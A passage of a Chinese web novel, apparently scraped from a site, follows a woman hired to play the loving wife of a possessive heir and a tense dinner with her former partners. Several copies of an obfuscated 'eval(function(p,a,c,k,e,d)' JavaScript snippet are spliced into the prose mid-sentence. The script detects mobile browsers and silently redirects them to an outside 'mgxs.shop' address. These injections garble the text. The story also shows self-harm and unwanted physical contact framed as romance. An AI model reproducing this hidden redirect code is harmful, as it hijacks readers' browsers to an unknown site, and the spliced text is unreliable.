“你.....是在害怕我吗?” 男人逆光站着,睫毛微垂,面部阴影错落,脸上的情绪晦暗不明。 菘蓝紧张地吞咽着口水,遵循内心的本能,点了点头: “嗯.....怕......” 她上一次差点死在他手里,虽然那并非他本愿,可面对这样的疯子,谁又能不怕? 突然,空气中飘来一缕似有似无的血腥味。 一开始,血腥味还很淡,后来越来越浓烈,铁锈的冷腥味在房间里迅速扩散。 菘蓝蹙了蹙眉,她顺着血腥味飘来的方向扫了一眼,然后惊恐地发现沈错的袖管在滴血。 一滴、两滴、三滴。 鲜血滴落在地板上,逐渐汇聚成一条小溪,蜿蜒出一抹刺眼的红。 沈错唇角发白,垂着的右手一直藏在袖管里,在幽暗的冷光下隐隐发颤。 “我......我出去一下。” 他似乎忍着极大的痛苦,声音又沉又哑。 他轻轻从菘蓝身旁走过,每走一步,就有殷红的鲜血顺着袖管滴落到地上。 一步一顿,步步泣血。 菘蓝忽地一瞥,发现桌子上的水果刀不知道什么时候不见了,她看着男人离去的背影,心头蓦地一恸,思绪纷乱如麻。 难道...... 难道他为了不伤害她,用自残的方式保持清醒? “你.......” 啪得一声,门关上了。 关门的气流吹乱了菘蓝的发丝,也吹乱了她的心。 沉默了几分钟后,她推门走了出去,看到沈错独自在大厅处理伤口。 他右手的手腕处插着一柄明晃晃的水果刀,刀身没入骨肉,在另一边露出锋利的刀尖。 鲜血顺着刀尖一滴滴落到地毯上。 沈错蹙着眉,正要拔刀,突然瞥见菘蓝站在不远处的屏风旁看着他。 “你把头转过去,别看。” 等会拔出刀身,血会溅一地,有点血腥的。 他怕她看了做噩梦。 “我.....我帮你.......” “不用,你站那就行。” 沈错侧了侧身子,挡住菘蓝的视线,然后噗嗤一声,拔出了手腕上的刀子。 他缝合和包扎伤口的动作很熟练,医疗箱里的用具也十分齐全。 菘蓝蹙着眉,在一旁胆战心惊地看着。 绷带缠了一圈又一圈,最后打结的时候,他看向她道: “老婆,来帮我打个结。” 她走过去,坐在他身边,轻柔地给他系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142516|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个蝴蝶结。 外面的白楚年等得有些不耐烦了。 意料之中的尖叫声并未响起,**现在里面是什么情况。 他疑惑地看着院落,思忖着要不要直接闯进去。 就在这时。 李顺突然拿着厚厚一摞纸,从水云居走了出来。 白楚年喊住他,问道:“里面没发生什么事吗?你们少爷和少夫人还好吗?” 李顺莫名其妙地看了他一眼:“没有啊,少爷和少夫人在书房里写字,他们好着呢。” 听闻,白楚年背在身后的手不自觉攥紧。 这么和谐? 没道理啊...... 书房里。 沈错披着大衣,缠了绷带的手放在桌子上,他左手拿着笔,在一份合同上唰唰签下了自己的名字。 签完名字,他把文件推到菘蓝面前: “你看完这份合同,如果觉得没什么问题,就签字吧。” 菘蓝抬眸,看着那份【雇佣XX扮演爱妻】的合同,怔愣了半天说不出话。 先不说内容有没有问题,这个合同的终止期限为什么如此离谱? 一万年? 一万年是什么鬼啊! “日薪十万,半年结一次,有问题吗?” “有!我要日结!合同终止期限把那个万字去掉。” 两人僵持了半小时,沈错缓缓点了下头:“行,只要不是月抛就行。” 菘蓝:“..........” 沈错:“名字。” 菘蓝愣了愣:“嗯?什么?” 沈错敲了敲合同的署名栏:“签名字啊,你总不能还写徐幼蓝的名字吧。” 她签下了自己的名字。 菘蓝。 沈错看了眼,顿住了:“是一味草药的名字。” “嗯,是的。” “好听。” 他老婆的名字真好听。 他嘴角扬起,上挑的瑞凤眼溢出细碎流光。 签好合同,摁了手印。 沈错把文件推到一边,趁菘蓝不注意,突然搂着她的腰,将她放在了书桌上。 他双臂撑在她大腿两侧,俯着身子,直勾勾地看着她。 菘蓝眼皮兀地一跳:“你,你干什么?” 第一百零四章 他吻 男人眼底闪过一抹狡黠的幽光,他低低一笑,灼热的吐息覆在她耳廓道: “现在,我需要你履行扮演爱妻的义务。” “欸?不是......” 不等菘蓝说完,男人就覆上她的唇,狠狠吻了上去,将她后半句咬碎了,吞进肚子里。 “唔.....” 粘稠的吻声像潺潺流水,呜咽和低吟在齿缝中缠绵,她温润的唇瓣和他悸动的呼吸声交织在一起,奏出脸红心跳的尾音。 他吻得很温柔,很有节奏。 先是她的唇瓣,再试她的齿关,然后长驱直入,绕上她柔软的舌。 她晕乎乎的,感觉大脑的氧气被人夺走了一样。 双眼弥漫着雾气,脸颊酡红,粉嫩的唇瓣泛着水润的微光。 她推了推身前的男人,身体却软绵绵的,没有一丝力气。 “舒服吗?” 他低笑了一声。 她没说话,像断片了一样,睁着迷蒙的双眼,怔愣了半秒。 他的眼神透着藏不住的温柔。 他一手撑着桌子,一手扣住她的腰,轻轻往上一托,然后顺势吻上了她白皙修长的脖颈。 密密麻麻的吻铺天盖地,落在她的脖颈、肩膀和锁骨上。 他在种草莓。 “你.....你够了......” 菘蓝哑着嗓子,伸手去推胸前的脑袋,她没什么手劲,推了一会发现没用,伸手去揪男人的耳朵。 日光下移。 温柔的光线照在凌乱的书房里。 她跪坐在书桌上,粉嫩的唇瓣微微红肿,裸露在外的肩膀和锁骨布满了吻痕。 男人耳朵红红的。 不是害羞,是被揪红的。 “合同里可没有需要身体接触这一条。” 她瞪着眸子,漂亮的桃花眼氤氲着怒气。 男人意犹未尽地舔了舔唇,大言不惭道: “可是,我们等会要出去,你身上的吻痕,就是我们夫妻恩爱的证据,为了演好爱妻这个角色,你就忍忍吧。” “忍你个头!” 菘蓝抄起书本砸向沈错,飞舞的纸张像片片落雪,落在男人心头。 他侧着身子,偷偷地笑。 他老婆,怎么连生气都这么可爱啊。 沈错弯腰将菘蓝扔到地上的纸张,一张张捡起,放回到桌子上。 “好了,不闹了,等会有个饭局,我要带你一起出席,这是绯闻过后,我们首次公开亮相,你要全力配合我。” 对于这次的事件,沈错的手段非常强硬。 网络上只要是发表和传播负面言论的,统统起诉造谣,所有平台都在配合进行删除、禁言和封禁账号。 不管网上流露出什么证据,他都说是假的。 视频录像,AI合成的。 照片,P的。 人,撞脸了。 许夫人见他铁了心也要维护菘蓝,大骂他鬼迷心窍。 许夫人气得连夜把菘蓝在云都被封存的档案调往海都,结果半途被人截胡。 沈错主打一个,假的,假的,全是假的。 他不看,不听,也不信。 他又不傻,这件事他要是承认了,那他老婆就没了。 门外那几只狗一直等着呢,就等他撒手。 只要他不承认,那他一直都是她的合法老公,什么前夫、未婚夫,统统都要往后靠。 下午的时候,佣人送来了订做好的礼裙。 菘蓝提起裙子看了看,伸手戳向沈错的后腰:“喂,你真让我穿这件?” 她手里的那条礼裙十分......十分大胆。 抹胸一字肩,高开衩的裙摆,后背完全镂空,腰部和臀部之间仅用数十串珍珠连接。 沈错点了点头,笑眯眯道: “老婆你身材这么好,不这样穿可惜欸,我可不像那些占有欲爆棚的男人,把媳妇全身捂得严严实实的。 在我这里,美丽,就要尽情绽放!” 试穿好礼服后,菘蓝对着镜子一看,瞬间红温。 妈的,狗男人,装什么大方。 她身上所有的吻痕都暴露在外面,让人看得清清楚楚。 什么绽放美丽,这他妈是明晃晃的宣誓**! 嘴上一套一套的,实际上又是一套套的。 菘蓝:“不穿!我要换一件。” 沈错:“不行,就穿这件。” 菘蓝:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142517|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我不去了。” 沈错:“好好好,换换换。” 在据理力争之下,佣人又送来一条礼裙。 酒红色的裙子,衬得她肌肤如雪,衣服是高领的,把脖颈和锁骨的吻痕挡了个严严实实。 菘蓝很满意。 礼裙依旧是高开衩的设计,后背完全镂空。 虽然还是很......很暴露,但已经比上一条好多了。 换好礼服,菘蓝把头发挽了起来,在她戴耳环的时候,沈错的目光在她小巧圆润的耳垂上游来游去。 两人准备好后,坐车出发。 一路上,男人都很老实,快到酒店的时候,车内的挡板突然降了下来。 菘蓝眼皮微微一跳,突然有种不好的预感。 男人伸手箍住她的腰,贴着她的耳廓,低低道: “老婆,我们拍个亲密照,等会我发朋友圈秀一下恩爱。” 不等她答应,男人一手扣着她的脊背,一口咬住了她的耳垂,另一只手伸远,咔嚓摁下了拍摄按钮。 她感觉耳畔像被小鸟啄了一下。 又疼又痒的。 男人看着手机里的照片,满意地点了点头。 到了酒店,车子停稳,菘蓝提起裙摆准备下车。 她弯着腰,露出白皙的背部。 她那对漂亮的肩胛骨,宛如一对振翅欲飞的蝴蝶。 沈错突然从身后抱住她,冲着她裸露的后背狠狠吻了上去。 “啊!你干什么!” 后背传来的湿润触感吓了菘蓝一跳。 她急忙去拧车把手,结果却被男人搂着腰拖了回去。 “老婆,合同的章,要盖在你身上才算数。” 菘蓝愣怔了一下。 就在她愣神的功夫,大腿突然被人抬起。 一个滚烫的吻,落在了她的大腿外侧。 她的脸瞬间爆红。 怪不得狗男人那么轻易就允许她换裙子,原来在这里等着她! “好了,我们下车吧。” 男人抬起头,笑吟吟的眸子像闪烁着漫天星河。 菘蓝瞪着眼睛,气呼呼地拧了他一下。 下车?后背和腿上都是吻痕,她这个样子怎么下车? 第一百零五章 老公聚会 最终,她披着他的西装外套下了车。 她微微红着脸,一双水润的桃花眼似怒非怒地瞪着沈错。 沈错觉得她发火的样子特别可爱,低低笑了两声,伸手揽住她的腰,带着她往里走。 菘蓝本想推开他,但一想到这里是公共场合,有无数双眼睛盯着,便只好乖乖配合。 酒店被包场了,布置得极尽奢华,繁复的吊灯浩瀚如星,红色天鹅绒地毯从门口一直延伸至包厢,乐队在回廊奏响优雅的小提琴。 场地很大,但是宾客很少,菘蓝环顾了一圈,发现好像没来什么人。 正疑惑间,她看到了周正安。 周正安穿着优雅得体的灰色西装,他静静伫立在灯下,英挺的轮廓显得有些清冷,在看到菘蓝后,他眼底的淡漠瞬间融化,透着温情与暖意。 菘蓝微微颔首,不自然地撩了下发丝,茶褐色的眸子闪了闪。 她没有想到,沈错居然会邀请周正安参加饭局。 走到桌边,周正安很绅士地为她拉开座椅。 突然,一只手搭在了椅背上。 椅子没有抽出来,纹丝不动。 “表叔,我自己的老婆,我自己照顾,不劳您献殷勤。” 沈错唇角勾起,缓缓展开的瑞凤眼噙着笑意,他抽出椅子,自己坐了下去,然后当着众人的面,把菘蓝按在了自己大腿上。 他圈着她,占有欲拉满。 菘蓝:“!” 她挣扎要起身,却听到耳畔传来一句,“老婆,你得配合我在他们面前秀恩爱,乖乖坐着哦~” 菘蓝瞳孔颤了颤。 他们? 什么他们? 而且,就算再怎么秀恩爱,也不能在公众场合坐他怀里啊! 她还是挣扎着要起身。 “你要是敢坐别的地方,那就把外套还我......” 男人贴着她的耳廓,灼热的吐息烫如星火,激得她颈侧的皮肤起了一片细小的战栗。 “你......” 菘蓝耳朵微红,她想起后背密密麻麻的吻痕,瞬间老实了。 她乖乖坐在他怀里,任由他搂抱着。 周正安面色一沉,深邃克制的眸底瞬间掀起滔天巨浪,但仅仅一瞬,便消弭于无形。 他默默回到自己位置上,盯着面前的红酒杯一言不发。 沈错抬着眸子,嘴角微微翘起。 论情绪控制,他最佩服他这个表叔了,不管多么愤怒,都不会表露在脸上。 过了一会,包厢的门又被推开了。 进来的人是白楚年。 菘蓝愣了愣,下意识去看沈错,男人脸上挂着慵懒的笑意,幽深的眸底掠过一抹狡黠。 白楚年看到周正安,也意外地皱了皱眉。 当他看到菘蓝坐在沈错怀里的时候,狭长的凤目瞬间泛起薄雾,瞳仁像是浸在冰水里,流转间寒意逼人。 “坐,随便坐。” 沈错眼尾优雅上翘,很大方地挥了挥手。 前夫哥1号和2号都来了,菘蓝眼皮微微一跳,心里突然有种不好的预感。 1号和2号都来了,3号还会远吗? 思忖间,包厢的门又被人推开。 许生来了。 少年好像清瘦了很多,面容苍白如雪,微分碎发垂在额前,透着一种孤寂的脆弱。 但他看到菘蓝的时候,整个人瞬间精神了,圆润澄澈的眼睛明亮如星。 当他巡视一圈,看到屋子里的其他人后,脸色瞬间又冷了下来。 菘蓝垂着眸,不敢抬头。 她不敢动,一点都不敢动。 她算是明白了,今天哪里是饭局,今天是针对她的鸿门宴! 三个前夫加一个现任,群英荟萃,老公聚会。 她趁着没人注意,冲着沈错的胳膊,两指一掐,拧着薄薄的皮,使劲一扭。 狗男人!纯心整她是不是? 她下手很重,沈错手臂颤了一下,然后旁若无人地捏着她的下巴,用恰好能让所有人听见的声音,悄悄道: “老婆,别摸了,这里人多,让别人看见不好,等回去给你摸个够.......” 所有人的目光瞬间落在了菘蓝身上。 她身子一僵,手一时不知道该放哪里。 狗!男!人! 心里咒骂了千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裸露的背部暴露在空气中,发白的冷光照在她身上,将她背部大大小小的吻痕照得清晰可见。 她下意识去捡外套,开衩的裙摆微微撩起,刚好露出了大腿外侧的红痕。 第一百零六章 情敌宣战 屋子里瞬间安静。 连呼吸声都听不见了。 “砰!” 许生手里的酒杯碎了。 他的掌心被玻璃割伤,汩汩往外冒着鲜血。 服务员想过来帮忙,却被他充满戾气的眼神瞪了回去。 另一边的白楚年脸色铁青,他上翘的眼尾泛着红,眸底翻涌的杀意如洪水决堤。 他的脑子里没有别的念头。 只有**和抢人。 周正安垂在身侧的手骤然缩紧,他看着菘蓝慌张捡衣服的动作,心底泛起阵阵怜惜。 他看到了那一瞬间,她眼底的窘迫和无助。 灯光明晃晃的。 菘蓝身上的吻痕明显极了,像灼烧的烈火,烫伤着众人的眼睛。 三人眼底升起震惊、愤怒、妒意、酸涩的怨气。 意识到所有人都在盯着她,菘蓝觉得后背火辣辣的,她顶着发麻的头皮,飞快披上衣服,扭头推门离去。 “啪!” 一个酒杯擦着沈错的耳边飞了过去,啪嗒一声摔到地上,摔成了无数碎片。 沈错皱了皱眉,他没有想到,第一个对他动手的人居然是周正安。 “表叔,你让我很意外。” 永远沉稳,永远不动如山的周正安居然会在饭局上气得摔杯子。 真是第一次见。 他想过忍不住先动手的人是许生,或者是藏着狐狸尾巴的白楚年,他从没想过会是周正安。 “沈错,你很过分了。” 周正安沉着脸,缓缓吐出一口浊气,他双手摁住桌子,冷声道: “如果你真的爱一个人,就应该给她足够的尊重和体面,她不是你用来炫耀的工具,也不是你用来膈应情敌的武器! 你根本不懂得怎么爱一个人,你差劲透了!也,卑劣透了!” 在现今的社会环境下,没有任何一个女孩子,愿意顶着一身吻痕,出现在公共视野中。 她会被凝视,会被不怀好意的揣测,会被议论,会被人想入非非。 周正安直视着沈错的眼睛,一句一顿道: “我劝你放手,因为你根本不懂得什么是爱,你,只会伤害她。” 沈错蹙着眉心,鸦青色的睫羽微微颤了颤。 他沉默了片刻后,轻嗤一声: “你在说什么东西?我是她的合法老公,夫妻恩爱本就是天经地义的事情。 谁敢在背后嚼舌根?谁敢说她一句坏话,我就拔了谁的舌头。 请你不要挑拨我们夫妻感情,我很爱她,她也喜欢被我爱着。 你一个不三不四的觊觎者,请靠边站。” 说着,他担忧地看了眼门口,眼底飞速掠过一抹晦暗的幽光。 “呵呵......” 周正安轻呵了一声,盯着沈错的脸放话道: “她到底是不是你法律上的妻子,你心里比谁都清楚,你不要以为你能只手遮天,能把这件事永远掩埋下去。 她三年前一直以叶心蕊的名义跟我在一起,如果说先来后到,那你只能排在最后! 她心里到底有没有你,你也比我清楚,她始终会离开的,你拴得越紧她就越会离开。 我最后奉劝你一句话,你早点放手,你根本不适合她。” 掷地有声的话语在厅堂内回荡,一声声敲击着沈错的心脏,他不悦地掀起眼皮,讥讽道: “嗯,对,我不适合,难道你适合? 她心里没有你,但是她心里有我,不要用你浅薄无知的见解,恶意揣测我们之间的感情。” 说完,他站起身,双手按在桌子上,冷冷看着所有人,继续道: “我今天邀请你们来,只是想告诉你们一件事。 如果你们想把她从我手里抢走,尽管放马过来,我会不吝啬用所有手段击垮、摧毁你们。 我不是什么好人,也没有道德,更不受任何约束,我会让你们后悔来到这个世上。” 他的语气森冷,每一个字都裹一层寒冰。 白楚年冷笑了两声: “什么叫把她从你身边抢走,她从来都不属于你,她没爱过任何人,别往自己脸上贴金了。” 他起身离开座位,走到门口的时候,突然回头看了沈错一眼,“我发现,你挺傲慢的,你会为自己的傲慢买单。” 许生小可怜不会说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142519|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这种场合,吵架也吵不过,只能一个劲地点头。 对! 他们所有人都不了解姐姐!都不合适姐姐! 只有他跟姐姐天下第一好。 众人不欢而散。 当然,这场饭局本就是宣战,根本就不可能其乐融融。 天色暗了下来,气温开始降低,冷冽的寒风刮得人脸生疼。 沈家的车子停在外面,车内开着暖气,车外的玻璃上结了一层寒霜,朦朦胧胧印出一个人影。 沈错抬手擦了擦车窗,看到菘蓝披着外套坐在车里,她闭着眼睛,白皙的小脸被暖气熏得微红。 他拉开车门,挨着菘蓝坐下。 车座往下深深一陷,菘蓝轻轻蹙了蹙眉,身体下意识往旁边偏了偏。 “你生气了?” 沈错的语气很轻,带着一丝无措。 她没说话,闭着眼睛,继续睡觉。 她现在不想理人,更不想理狗。 “老.....老婆......” 他轻轻唤了一声。 “老婆,我错了......” 男人丝滑认错。 菘蓝有些意外地抬了抬眼,“你犯什么错了?错哪了?” 沈错抿了抿唇:“我哪里都错了。” 菘蓝:“.........” 她背过身去,又闭上眼。 “老婆,我真的知道错了,我不应该跟你耍心眼,也不应该为了刺激他们,不顾你的感受。 我以后会尊重你,爱护你,维护你,不会违背你的意愿做任何事。” 男人刚刚还在包厢嘴硬,现在丝滑跪地认错求原谅。 他是一个擅于学习,知错就改的人。 他不会让任何人有机可乘,把他老婆从他身边抢走。 他确实有很多坏毛病,也不懂怎么爱人,但他会一点点学。 菘蓝缓缓睁开眼,歪着头看着他: “没事啊,你不用跟我道歉,我又没生气。” 听她这么说,沈错心里更慌了。 因为对他一点也不在意,甚至也没有抱任何期待,所以根本不生气吗? 她,难道对他没有一丝丝的感情? 第一百零七章 哄她 恰巧此时。 路边有一对夫妻正在吵架。 系着围裙的女人从屋里跑出来,手上还沾着面粉和菜屑,她冲着一脚踏出门槛的男**骂: “天天吃完饭就往外跑,一天到晚在家闲不住,外面是有金山还是银山啊,有金山银山也没见你往家里搬啊! 你今晚上11点前必须回家,否则我给你锁外头!” “知道啦!天天管这管那的,话真多!” 男人右手夹着烟,回头骂骂咧咧了几句,闷着头往前走。 见到这一幕,沈错抬眸看了眼面无表情的菘蓝,心里有种说不出的滋味。 他以前出任务,好几天不回家,她从没给他打过电话,也没询问过他在干什么,更没有因此生气发怒过。 所以说到底,还是因为不在乎。 无论是以前,还是现在,她对他的行为越包容,就说明他对她越不重要,因为她没必要跟一个路人争执、吵架、生气。 她对他,大概是没有半点感情的。 没有感情,也就没有情绪....... 街头下起了冻雨,细小的冰雹搭在车窗上,发出沙沙的声响。 车内的玻璃起了一层雾,雾珠凝结成水滴,外面下着雨,沈错的心里也下着雨。 他的心像被雨水打湿泡涨的书本,无法抚平。 他太自傲了,他以为她多少是有点喜欢他的...... “老婆.......” 沈错喉结轻轻滚动了两下,他的指尖悬在菘蓝的手背上,想碰却又不敢碰。 察觉到他拘谨的动作,菘蓝眸光微微一凝,感到有些意外。 像沈错这样情感外放的人,也会有克制的一面吗? 她轻轻应了一声:“干嘛......” 听到这声回应,沈错漆黑的眸底瞬间迸发出光亮。 他像黑夜里趋光的飞虫,看到一点光亮就欣喜地扑上去。 他直接抱住菘蓝,感受着她温热柔软的身体,在她肩窝里蹭啊蹭,问道:“老婆,你反感我吗?” 他的声音里透着一丝紧张。 反感吗? 菘蓝歪着脑袋认真想了一会,然后回答道:“不敢。” 沈错:“..........” 男人抱着她的双手顿时僵住,漂亮的瑞凤眼掠过一抹暗色,闷声问道: “不敢是什么意思?” 他想过她会说反感,或者是无感,唯独没想过她会说不敢。 “现在您是我的甲方,我怎么能对您说出反感两个字呢?” “那.....那以前呢?” 男人有些不甘心地追问。 以前他对她搂搂抱抱,酱酱酿酿,她心里是反感的吗? “不记得了。” 她面无表情地转头看向窗外,却被玻璃上的雾气蒙住了视线,只茫然地透着玻璃窗往外看着。 要说身份暴露的一大好处,就是她终于不用再扮演谁。 跟以往的灵动娇俏不一样,现在的她,脸上很多时候没有表情,给人一种清冷的距离感。 尤其是那双眼睛,漆黑、无神,没有光亮,像冷寂的黑洞。 她整个人的气质都不一样了。 沈错看着看着,心头突然涌起一阵怜惜。 这才是真正的她吗...... 明明会呼吸、会动、会说话,却那么像行尸走肉。 “你.......你可以跟我讲讲你的事情吗?” 他想要了解她。 “合同里没有这一条,我没有给你讲故事的义务。” 她冷漠地回应道。 沈错:“那现在加上。” 菘蓝:“你付不起故事的价格。” 沈氏家族自开国以来,就是金融、房地产、纺织、制造业的龙头企业。 发展到今天,沈家的能量几乎辐射到全行业,获得的财富十几代人都花不完。 钱对于沈错来说只是个数字,怎么可能会有他买不起的单。 她对于这个话题明显抗拒,他便不敢再问。 每个人的心里都有不可触碰的地方,有些一碰就碎,有些一碰就死。 “好吧,没关系,不想讲就不讲,我都听你的。” 男人丝滑妥协。 很快,到了沈家。 车子缓缓驶进大门,随后一路开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142520|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向水云居。 “老婆,你晚上没吃饭,你想吃什么,我去做。” “不想吃,没胃口。” “不行,你要配合我的,我做,你吃,我等会要发朋友圈。” 菘蓝这才发现,沈错微信换了头像。 头像是她和他,他亲昵地吻着她的耳垂。 “你要不要这么高调呢?” “我要打造爱妻人设的嘛!” 他做了一桌子的菜。 东江酿豆腐、八宝冬瓜盅、糯米鸡、三鲜年糕汤、糖醋排骨、三杯鸡...... 前几道菜很有故事,他特意拍了照片,发到朋友圈,并配文: “最幸福的事情,就是看着爱人把自己做的饭菜吃光光.....” 发完朋友圈,他还催促菘蓝去给他点赞。 正啃着鸡腿的菘蓝白了他一眼,拿起手机点了个小心心。 该说不说,味道还不赖,倒是值一个点赞。 沈错的朋友圈一发出去,白楚年就刷到了,他冷冷地盯着屏幕,指尖攥到泛白。 在注意到沈错的新头像后,他打开隐私设置,面无表情地屏蔽了沈错的朋友圈。 周正安在忙,没空看手机。 许生看到沈错那条朋友圈之后,疯狂给菘蓝的小号发私信。 【姐姐,豆腐和海鲜吃多了通风,糯米和年糕不好消化,排骨和鸡肉吃多了会胖。】 【姐姐,我生日,你想吃什么,我也给你做。】 【姐姐,我哥情绪不稳定,他对人时好时坏,你千万别被他骗了。】 【姐姐,我二十四小时待命,你要是遇到危险,立马给我打电话。】 【姐姐,你的小衣服不是我偷的,是勾到了我的拉链上,我没发现。】 菘蓝正在吃饭,她给沈错朋友圈点了赞之后,就把手机屏幕朝下,放在了桌子上。 就在这时,沈错突然看向菘蓝的手机,说道: “哦对了,把你手机给我。” 听闻,菘蓝挑了挑眉:“啊?你要干什么?” 沈错笑眯眯地拿走了她的手机,回道:“人家夫妻都是用情侣头像的,我也要。” 第一百零八章 药 她的手机有隐藏系统。 许生给她发的信息,沈错没看见。 她的微信被设置成了情侣头像,照片上的她,侧着身子,被人噙住了耳朵,双颊酡红。 看到新头像,菘蓝顿时瞪大了眼睛。 “你......你把头像给我换回去!” 沈错:“不换。” 菘蓝:“你不是说都听我的吗?” 男人拿出日薪十万的合同,眉眼弯弯道:“可是按照合同,你要配合我,扮演我的爱妻,情侣头像很有必要。” 菘蓝沉默了几秒,然后看在钱的面子上妥协了。 许生很快发现她的大号换了头像。 少年眼皮坠了下来,茶褐色的瞳孔瞬间变得冰冷。 他伸出手,用覆了薄茧的指腹遮住头像的上半边,清隽的面容嫉妒到扭曲。 他飞快点开菘蓝小号的私信,给她发消息: 【姐姐,后天我生日,明天你可以陪我去买衣服吗?】 菘蓝看到这条消息的时候,已经是深夜了。 她把沈错赶到次卧,趴在柔软的枕头上翻看讯息。 她很久没登录小号了。 她刚切换好系统,无数条消息跳了出来,许生的信息在最上面。 许生的头像是一只很可爱的小金毛,可怜巴巴地趴在窗口上。 菘蓝这才想起后天就是许生的生日,她答应送他的手工礼物还没做呢。 她连忙回了一句: 【不好意思啊许生,我明天没有空。】 许生看到消息,整个人都蔫了,发了个金毛小狗趴地哭泣的表情包。 【QAQ。那姐姐你先忙,不用管我了。】 下一秒,菘蓝回信: 【我明天要给你准备礼物,不然我怕后天完不成。】 ?0?2悲伤小狗瞬间开心了,不存在的尾巴要摇到了天上。 他开心地扣字: 【谢谢姐姐,小狗永远爱姐姐,永远永远。】 看完许生的信息,菘蓝接着点开下一条。 幽:【小月亮,有人截获了我们的通讯编码,导致上次的计划出了纰漏,我迭代了通讯系统,新密码是xxxxxx】 菘蓝回复:【收到。】 记熟密码,她点击删除了聊天记录,随后退出弹窗,接着看通讯列表。 她的指尖下滑,随后在一行消息上停住。 【小蓝,他好像在找你,你要小心。】 看到这条消息,她的身体如猛然踩空,瞬间一紧。 一种深入骨髓的恐惧、寒意和恶心涌上心头,她的手臂控制不住地开始颤抖,骨骼与骨骼之间相互摩擦,发出战栗的轻响。 意识到身体的变化,她丢开手机,翻出藏起来的药瓶,颤抖着吃了几颗药。 很快,药效开始发作,强烈的睡意来袭,她昏昏沉沉地钻进被窝,瑟缩着身子,闭上了眼睛。 她早已挣脱牢笼,可幼年时的恐怖遭遇,已经深深刻进了骨髓里。 那片阴影就像跗骨之蛆,不管如何埋藏,总会在某些时刻跳出来,狠狠恶心你。 第二天。 一轮红日自东方冉冉升起,天边铺开了**红霞。 她缓缓睁开眼睛,下意识揉了揉眼尾,触碰到一片扇形的冰凉的泪痕。 突然,卧室的门吱呀一声开了。 沈错站在门边,他围着蓝色小熊围裙,左手拿着锅铲,笑得一脸阳光: “老婆,老婆,我给你做了爱心早餐,你快去洗漱。” 男人站在门口,从阳台照进来的光,打在了他的身上,将他俊朗的侧脸染成了淡金色。 他漂亮的瑞凤眼优雅上挑,饱含着温柔的笑意。 他全身上下好像在发光,一下子把人从潮湿阴冷的梦里拉了出来。 菘蓝愣了愣,迷迷糊糊地点了点头:“好!” 她去洗漱了。 洗手间传来牙刷和杯壁清脆的碰撞声,沈错走到她床边,两指往下一探,摸出一个白色的小药瓶。 他掂量了一下,拧盖瓶盖看了看,然后又晃了晃。 药少了几颗。 他看向洗手间的方向蹙了蹙眉,然后悄悄把药瓶藏了回去。 “查,还是要查,去找MI7,我要知道她所有的事情。” “不是吧,老大,M17可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142521|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国政级的情报系统,要动用他们的力量吗?” “别废话了,我认真的。” 视频电话的另一头,是一个覆面系帅哥,戴着防弹头盔和黑色面具,怀里抱着一把重狙。 谈话间,屏幕另一端的沈错拿着手机,调整了一下身位。 覆面系帅哥看到他肩膀上吊了两根蓝色带子,下意识问道:“老大你穿的啥啊?” 